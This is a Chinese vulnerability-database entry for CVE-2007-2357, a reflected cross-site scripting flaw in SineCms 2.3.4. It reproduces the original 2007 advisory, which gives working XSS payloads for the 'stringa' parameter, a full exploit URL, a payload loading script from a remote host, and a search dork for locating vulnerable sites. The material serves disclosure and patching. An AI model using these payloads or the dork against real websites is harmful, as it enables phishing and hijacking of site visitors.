SineCms result.PHP 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190759 漏洞类型 跨站脚本
发布时间 2007-04-30 更新时间 2007-05-01
CVE编号 CVE-2007-2357 CNNVD-ID CNNVD-200704-625
漏洞平台 N/A CVSS评分 6.8
|漏洞来源
https://cxsecurity.com/issue/WLB-2007050003
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-625
|漏洞详情
SineCms的mods/Core/result.php中存在跨站脚本攻击漏洞。远程攻击者可以借助stringa参数,注入任意的web脚本或HTML。
|漏洞EXP
   .      .        .  
._ | _.  .|_  _. _.;_/
[_)|(_]_|[ )(_](_.| .net
|      ._|            
"SineCms Version 2.3.4 - Non-Persistent XSS Vulnerability"
	by Nexus

1) Infos
---------
Date            : 2007-04-26 (ISO 8601)
Product         : SineCms
Version         : 2.3.4 (last), prior versions may also be affected
Vendor          : http://sourceforge.net/projects/sine - http://www.sinecms.net
Vendor Status   : 2007-04-26 - Informed!

Description     : SineCms is a management software for international communication 
		  based on hypertext.

Google Dork     : "SineCms Version: 2.3.4"

Source          : nexus
E-mail          : nexus[at]playhack[dot]net
Team            : Playhack.net Security

2) Security Issues
-------------------
The core module for Search engine is affected by a Non-Persistent Cross-Site Scripting
vulnerability.
The source in "mods/Core/result.php" doesn't properly sanitize the input of the user
and just get the submitted text without any previous check on the content.
The affected variable is $_GET['stringa'], as a matter of fact if we try to insert a
string like:
	"><script>alert(1);</script>
The website will retrieve an url like:
	host/path/mods.php?mods=Core&page=result&stringa=%22%3E%3Cscript%3Ealert
%281
	%29%3C%2Fscript%3E&campo=all&criterio=tutte&ordine=decrescente

And it executes the JavaScript code.
The script makes only a check on apex, that can be simply avoided executing for 
example a remote script like
	"><script src=http://host.com/script.js></script>

It's easy to guess that this kind of vulnerability can be used to accomplish some
Phishing attacks, or whatever can be disfruted from an XSS flaw.

3) Patch
---------

Edit the core source code and sanitize properly the inputted data.
|参考资料

来源:BID
名称:23682
链接:http://www.securityfocus.com/bid/23682
来源:BUGTRAQ
名称:20070426SineCMS
链接:http://www.securityfocus.com/archive/1/archive/1/466965/100/0/threaded
来源:OSVDB
名称:34172
链接:http://osvdb.org/34172
来源:XF
名称:sinecms-result-xss(33919)
链接:http://xforce.iss.net/xforce/xfdb/33919
来源:VUPEN
名称:ADV-2007-1559
链接:http://www.frsirt.com/english/advisories/2007/1559
来源:SREASON
名称:2649
链接:http://securityreason.com/securityalert/2649
来源:SECUNIA
名称:25014
链接:http://secunia.com/advisories/25014